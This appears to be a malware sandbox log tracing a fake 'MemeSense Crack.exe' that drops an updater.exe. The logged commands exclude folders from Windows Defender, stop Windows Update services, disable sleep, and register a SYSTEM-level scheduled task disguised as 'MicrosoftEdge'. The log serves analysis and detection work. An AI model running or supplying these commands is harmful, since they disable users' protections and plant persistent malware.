Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop dosvc
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Users\user\AppData\Local\Temp\updater.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\System32\dialer.exe
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lfvbfbo#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'MicrosoftEdge' /tr '''C:\Program Files\Microsoft\Edge\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Microsoft\Edge\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'MicrosoftEdge' -User 'System' -RunLevel 'Highest' -Force; }
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Windows\System32\lsass.exe	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\lsass.exe	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\lsass.exe	Process created: C:\Windows\ImmersiveControlPanel\SystemSettings.exe "C:\Windows\ImmersiveControlPanel\SystemSettings.exe" -ServerName:microsoft.windows.immersivecontrolpanel
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalService -p -s BthAvctpSvc
Source: unknown	Process created: C:\Windows\System32\VSSVC.exe C:\Windows\system32\vssvc.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k swprv
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Microsoft\Edge\updater.exe "C:\Program Files\Microsoft\Edge\updater.exe"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop WaaSMedicSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop wuauserv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop bits
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop dosvc
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Program Files\Microsoft\Edge\updater.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\System32\dialer.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lfvbfbo#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'MicrosoftEdge' /tr '''C:\Program Files\Microsoft\Edge\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Microsoft\Edge\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'MicrosoftEdge' -User 'System' -RunLevel 'Highest' -Force; }
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: unknown	Process created: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe "C:\Users\user\Desktop\meme crack\MemeSense Crack.exe"
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Process created: C:\Users\user\AppData\Local\Temp\cli_gui.exe "C:\Users\user\AppData\Local\Temp\cli_gui.exe"
Source: C:\Users\user\AppData\Local\Temp\cli_gui.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Process created: C:\Users\user\AppData\Local\Temp\updater.exe "C:\Users\user\AppData\Local\Temp\updater.exe"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop WaaSMedicSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop wuauserv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop bits
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop dosvc
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Users\user\AppData\Local\Temp\updater.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\System32\dialer.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lfvbfbo#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'MicrosoftEdge' /tr '''C:\Program Files\Microsoft\Edge\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Microsoft\Edge\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'MicrosoftEdge' -User 'System' -RunLevel 'Highest' -Force; }
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Program Files\Microsoft\Edge\updater.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\System32\dialer.exe
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Microsoft\Edge\updater.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\System32\dialer.exe
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ztwihm#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'MicrosoftEdge' /tr '''C:\Program Files\Microsoft\Edge\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Microsoft\Edge\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'MicrosoftEdge' -User 'System' -RunLevel 'Highest' -Force; }
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1956,i,7229369661318160334,7331768644363518668,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe "C:\Users\user\Desktop\meme crack\MemeSense Crack.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable	Jump to behavior
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Process created: C:\Users\user\AppData\Local\Temp\cli_gui.exe "C:\Users\user\AppData\Local\Temp\cli_gui.exe"	Jump to behavior
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Process created: C:\Users\user\AppData\Local\Temp\updater.exe "C:\Users\user\AppData\Local\Temp\updater.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\updater.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\updater.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\updater.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\updater.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\System32\dialer.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\updater.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lfvbfbo#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'MicrosoftEdge' /tr '''C:\Program Files\Microsoft\Edge\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Microsoft\Edge\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'MicrosoftEdge' -User 'System' -RunLevel 'Highest' -Force; }	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\updater.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop UsoSvc	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop WaaSMedicSvc	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop wuauserv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop bits	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop dosvc	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Microsoft\Edge\updater.exe "C:\Program Files\Microsoft\Edge\updater.exe"
Source: C:\Program Files\Microsoft\Edge\updater.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Source: C:\Program Files\Microsoft\Edge\updater.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
Source: C:\Program Files\Microsoft\Edge\updater.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Source: C:\Program Files\Microsoft\Edge\updater.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\System32\dialer.exe
Source: C:\Program Files\Microsoft\Edge\updater.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lfvbfbo#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'MicrosoftEdge' /tr '''C:\Program Files\Microsoft\Edge\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Microsoft\Edge\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'MicrosoftEdge' -User 'System' -RunLevel 'Highest' -Force; }
Source: C:\Program Files\Microsoft\Edge\updater.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\System32\dialer.exe
Source: C:\Program Files\Microsoft\Edge\updater.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\System32\dialer.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop WaaSMedicSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop wuauserv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop bits
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop dosvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Process created: C:\Users\user\AppData\Local\Temp\cli_gui.exe "C:\Users\user\AppData\Local\Temp\cli_gui.exe"
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Process created: C:\Users\user\AppData\Local\Temp\updater.exe "C:\Users\user\AppData\Local\Temp\updater.exe"
Source: C:\Users\user\AppData\Local\Temp\updater.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Source: C:\Users\user\AppData\Local\Temp\updater.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
Source: C:\Users\user\AppData\Local\Temp\updater.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Source: C:\Users\user\AppData\Local\Temp\updater.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\System32\dialer.exe
Source: C:\Users\user\AppData\Local\Temp\updater.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lfvbfbo#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'MicrosoftEdge' /tr '''C:\Program Files\Microsoft\Edge\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Microsoft\Edge\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'MicrosoftEdge' -User 'System' -RunLevel 'Highest' -Force; }
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop WaaSMedicSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop wuauserv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop bits
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop dosvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Windows\System32\dialer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Source: C:\Windows\System32\dialer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ztwihm#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'MicrosoftEdge' /tr '''C:\Program Files\Microsoft\Edge\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Microsoft\Edge\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'MicrosoftEdge' -User 'System' -RunLevel 'Highest' -Force; }

Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
